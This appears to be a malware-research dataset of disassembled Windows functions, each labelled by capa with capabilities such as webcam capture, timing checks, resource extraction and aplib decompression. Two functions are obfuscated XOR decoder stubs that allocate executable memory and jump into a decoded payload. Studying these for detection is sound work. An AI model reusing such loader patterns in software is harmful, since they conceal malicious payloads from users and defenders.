joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4751f5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x47530d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x47530d
mov eax, dword [esi + 0x3c]
push eax
call fcn.004929c7
mov esi, eax
test esi, esi
je 0x47530d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x47530d
mov ecx, esi
call fcn.00475180
cmp edi, eax
jge 0x47530d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x475293
mov dword [esp + 0x34], 1
jmp 0x4752ee
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x47530d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00474720
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x478c10
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x478c76
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x478c76
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x478c57
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x479000
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x479038
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x479c60
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x479ca9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x47a120
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a0010
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00479cd0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00479d50
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00479d50
lea ecx, [esi + 0xc]
call fcn.00490f52
lea ecx, [esi + 0x10]
call fcn.00490f52
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0047b2e0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0047b2e0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0047b2e0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00490fc7
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00490fc7
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x49336b
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4933a3
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00491422
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004913fa
jmp 0x4933af
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x494a65
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x494aa7
call fcn.0049a7db
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x494aa7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x494a9e
xor eax, eax
jmp 0x494aaf
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00494ab5
pop edi
pop esi
pop ebx
ret 4

Function at 0x49ad0b
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x49ad39
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x49ad57
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049ac71
jmp 0x49ad57
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49ad57
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049ac71
test edi, edi
mov eax, edi
jne 0x49ad41
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x855058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.008551a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x85507e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x85506a
add dl, dl
jne 0x855089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8550dc
xor eax, eax
add dl, dl
jne 0x855096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x85517d
add dl, dl
jne 0x8550a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8550b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8550bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8550c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8550d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x855075
mov eax, 1
add dl, dl
jne 0x8550ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8550f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8550e1
sub eax, ebx
mov ebx, 1
jne 0x855128
mov ecx, 1
add dl, dl
jne 0x85510e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x855119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x855105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x855075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x85513f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x85514a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x855136
cmp eax, 0x7d00
jae 0x85516d
cmp eax, 0x500
jb 0x855168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x855075
cmp eax, 0x7f
ja 0x855170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x855075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x85519e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x855075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401510
Capabilities:
Accept command line arguments
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x402548
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_1
push str.SilentUpgrade_jdbbx:
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0
call sub.MFC42.DLL_CString::Find
mov edx, eax
cmp edx, 0xffffffff
je 0x4016cf
mov edi, str.SilentUpgrade_jdbbx:
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
mov eax, dword [eax - 8]
dec ecx
add ecx, edx
sub eax, ecx
lea ecx, [esp + 0xc]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Right
push ecx
lea edx, [esp + 0x10]
mov ebx, 1
mov ecx, esp
mov dword [esp + 0x20], esp
push edx
mov byte [esp + 0x34], bl
call sub.MFC42.DLL_CString::CString_2
push ecx
mov byte [esp + 0x34], 2
mov ecx, esp
mov dword [esp + 0x28], esp
push 0x4040f0
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x34], bl
call fcn.00401f60
add esp, 8
lea eax, [esp + 0xc]
lea ecx, [esp + 0x1c]
push str.bbx_s.backup
push eax
push ecx
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
call esi
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0xc]
push 0x40405c
lea eax, [esp + 0x18]
push edx
push eax
call sub.MFC42.DLL_operator_1
push ecx
mov byte [esp + 0x30], 3
mov ecx, esp
mov dword [esp + 0x24], esp
push 0x4041d0
mov dword [esp + 0x20], 0
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x18]
push ecx
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push edx
mov byte [esp + 0x3c], 4
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x38], 3
call fcn.00401c70
add esp, 0xc
test eax, eax
je 0x4016b4
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.bbx_s.backup
lea ecx, [esp + 0x20]
push 0x4040f0
push ecx
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push eax
call esi
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, ebx
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x24
ret
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x24]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x24
ret
Function at 0x402270
Capabilities:
Copy file
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x4026a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 1
push eax
lea ecx, [esp + 0x4c]
mov dword [esp + 0x44], edi
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
mov esi, dword [sym.imp.MSVCRT.dll__mbscmp]
push 0x4040c4
push eax
call esi
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x4022ce
push 0x4040c4
jmp 0x402302
lea ecx, [esp + 0x10]
push 1
push ecx
lea ecx, [esp + 0x4c]
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
push 0x4040e8
push eax
call esi
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x40230b
push 0x4040e8
lea ecx, [esp + 0x48]
call sub.MFC42.DLL_CString::TrimRight
mov dword [esp + 0x14], edi
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x18]
mov edx, dword [esp + 0x44]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x18], 3
mov word [esp + 0x24], 0x14
mov eax, dword [edx - 8]
lea esi, [eax + 2]
push esi
call sub.MFC42.DLL_operatornew
mov ecx, esi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x48]
call sub.MFC42.DLL_CString::GetBuffer
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
mov dword [esp + 0x1c], ebp
push ecx
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov esi, eax
push ebp
neg esi
sbb esi, esi
inc esi
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [esp + 0x44]
mov dword [esp + 0x3c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x34]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x30
ret
Function at 0x40324c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40325b
pop dword [ebp - 8]
mov eax, 0xaeeb3b5d
sub eax, 0xaeab0902
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xc46c2cc3
add dword [ebp - 0x18], 0x89e61888
mov dword [ebp - 0x14], 0xbe283dbc
sub dword [ebp - 0x14], 0x8bf4f177
mov dword [ebp - 0x10], 0x9a88269f
sub dword [ebp - 0x10], 0x4e3be271
mov dword [ebp - 0xc], 0x3d7069dc
add dword [ebp - 0xc], 0xc28f9624
lea eax, [ebp - 0x18]
push eax
mov eax, 0xa42a7791
add eax, 0x5c1608e7
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x8d86a8f8
sub dword [ebp - 0x18], 0x19143fa2
mov dword [ebp - 0x14], 0x83fbbfcb
sub dword [ebp - 0x14], 0x428f5e56
mov dword [ebp - 0x10], 0x359c8477
add dword [ebp - 0x10], 0x2dd2e7f5
mov dword [ebp - 0xc], 0x41943d1c
add dword [ebp - 0xc], 0xbe6bc2e4
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x16b5d15e
sub eax, 0x167550e2
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x377dc
push 0
call eax
mov ecx, 0x49d7
mov edi, eax
mov ebx, 0xa0fdcf67
sub ebx, 0xa0b8bb67
add ebx, dword [ebp - 8]
mov esi, 0xc71d0af4
add esi, 0x8a9b780e
mov edx, dword [ebx]
xor dword [ebp - 4], edi
sub edx, esi
xor dword [ebp - 4], eax
mov dword [edi], edx
xor dword [ebp - 4], ecx
add edi, 0xac28f29f
sub edi, 0xac28f29b
add ebx, 0xbe123c1d
sub ebx, 0xbe123c19
loop 0x403377
add eax, 0x90642214
sub eax, 0x906307e5
mov ebx, eax
add eax, 5
mov ecx, 0xa3046bac
sub ecx, 0xa2c46bac
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x10046440
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1004644f
pop dword [ebp - 0x18]
mov eax, 0x4759399
sub eax, 0xf4712f4a
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xabc02404
sub dword [ebp - 0x28], 0x5d6ddeb9
mov dword [ebp - 0x24], 0x8cd6e715
add dword [ebp - 0x24], 0xa55c6530
mov dword [ebp - 0x20], 0xa25bf543
sub dword [ebp - 0x20], 0x560fb115
mov dword [ebp - 0x1c], 0x42b89e61
sub dword [ebp - 0x1c], 0x42b89e61
lea eax, [ebp - 0x28]
push eax
mov eax, 0xf493b443
sub eax, 0xe48323cf
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x730b237c
add dword [ebp - 0x28], 0x16745da
mov dword [ebp - 0x24], 0x3c0bd139
sub dword [ebp - 0x24], 0xfa9f6fc4
mov dword [ebp - 0x20], 0xb4e2e482
add dword [ebp - 0x20], 0xae8c87ea
mov dword [ebp - 0x1c], 0x4d4c4699
sub dword [ebp - 0x1c], 0x4d4c4699
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x5bffb36c
sub eax, 0x4bef22fc
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x4a007
push 0
call eax
mov ecx, 0x4db0
xor esi, esi
add esi, eax
mov edx, 0xfa6b6b66
add edx, 0x15abb29a
add edx, dword [ebp - 0x18]
mov edi, 0xc185f3a9
add dword [ebp - 0x14], esi
mov ebx, dword [edx]
xor dword [ebp - 0x14], 0xb031382d
sub ebx, edi
add dword [ebp - 0xc], esi
mov dword [esi], ebx
add dword [ebp - 0x14], ecx
add esi, 4
add edx, 0x50529862
add edx, 0xafad67a2
loop 0x10046567
add eax, 0xd57ee039
add eax, 0x2a82495a
mov ebx, eax
add eax, 0xdf7c2c91
sub eax, 0xdf7c2c8c
mov ecx, 0x419283bb
sub ecx, 0x319283bb
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x405a40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x405a59
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x405a94
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x405a90
lea ebx, [ebx]
cmp esi, eax
jae 0x405a94
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x405a80
cmp esi, eax
jb 0x405a9a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x406cc7
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x44a5d0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0x800
push ebx
push esi
mov esi, ecx
mov ebx, edx
lea eax, [ebp - 0x11c]
jne 0x406d07
push 0x43b990
push 4
push eax
call fcn.00424d46
push eax
call fcn.00405ae0
add esp, 0x10
jmp 0x406d19
push 4
push eax
push 3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x406d87
push edi
call fcn.00424eb1
mov edi, dword [eax]
call fcn.00424eb1
and dword [eax], 0
lea eax, [ebp - 0x11c]
push eax
push ebx
push esi
push 0x111
mov esi, 0x112
lea eax, [ebp - 0x118]
push esi
push eax
call fcn.00424e57
add esp, 0x18
mov ebx, eax
call fcn.00424eb1
cmp dword [eax], 0
je 0x406d67
call fcn.00424eb1
push dword [eax]
call fcn.00406c5b
pop ecx
jmp 0x406d6e
call fcn.00424eb1
mov dword [eax], edi
cmp ebx, 0xffffffff
pop edi
je 0x406d87
cmp ebx, esi
jae 0x406d87
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x406d89
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00421f10
leave
ret
Function at 0x408215
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x40825b
call fcn.004116f1
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40825b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x40829e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x408287
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x408287
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x40829b
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x409567
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x438f66
call fcn.0042472b
mov esi, ecx
mov dword [ebp - 0x20], esi
mov eax, dword [esi + 0x60]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x5c]
mov dword [ebp - 0x18], eax
call fcn.004116f1
mov edi, dword [eax + 0xc]
xor ebx, ebx
cmp dword [esi + 0x58], ebx
je 0x4095b2
call fcn.004116f1
mov edi, dword [eax + 0xc]
push 5
push dword [esi + 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
je 0x4095c3
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x4095d0
or eax, 0xffffffff
jmp 0x40972c
mov ecx, esi
call fcn.004090b9
mov dword [ebp - 0x14], eax
call fcn.0040c6c6
and dword [ebp - 0x28], ebx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
je 0x40964e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp - 0x14], eax
je 0x40964e
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x40964e
push 0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x2c], 1
call fcn.00405ff0
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x24], ebx
je 0x40964e
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x120]
test eax, eax
je 0x40964e
mov ecx, ebx
call fcn.0041013c
test eax, eax
je 0x40964e
push 0
mov ecx, ebx
call fcn.00410157
mov dword [ebp - 0x28], 1
and dword [ebp - 4], 0
push esi
call fcn.0040e0a1
push dword [ebp - 0x14]
call fcn.0040c61e
push edi
push eax
push dword [ebp - 0x1c]
mov ecx, esi
call fcn.0040936f
xor edi, edi
cmp eax, edi
je 0x4096ab
test byte [esi + 0x3c], 0x10
je 0x409695
push 4
pop edi
mov ecx, esi
call fcn.00410023
test ax, 0x100
je 0x40968b
push 5
pop edi
push edi
mov ecx, esi
call fcn.0040c1e6
xor edi, edi
cmp dword [esi + 0x20], edi
je 0x4096ab
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00410326
or dword [ebp - 4], 0xffffffff
jmp 0x4096d6
cmp dword [ebp - 0x28], edi
je 0x4096e4
push 1
mov ecx, ebx
call fcn.00410157
cmp dword [ebp - 0x2c], edi
je 0x4096f4
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x40970d
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x20]
jne 0x40970d
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.004090f3
cmp dword [esi + 0x58], edi
je 0x409729
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [esi + 0x44]
call fcn.004247d0
ret
Function at 0x40f1be
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x40f201
call fcn.004116f1
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40f201
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40f21c
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0040ed75
test ebx, ebx
mov esi, eax
je 0x40f21a
test edi, edi
je 0x40f21a
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x421f10
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44a5d0]
jne 0x421f1a
repz ret
jmp fcn.00427dda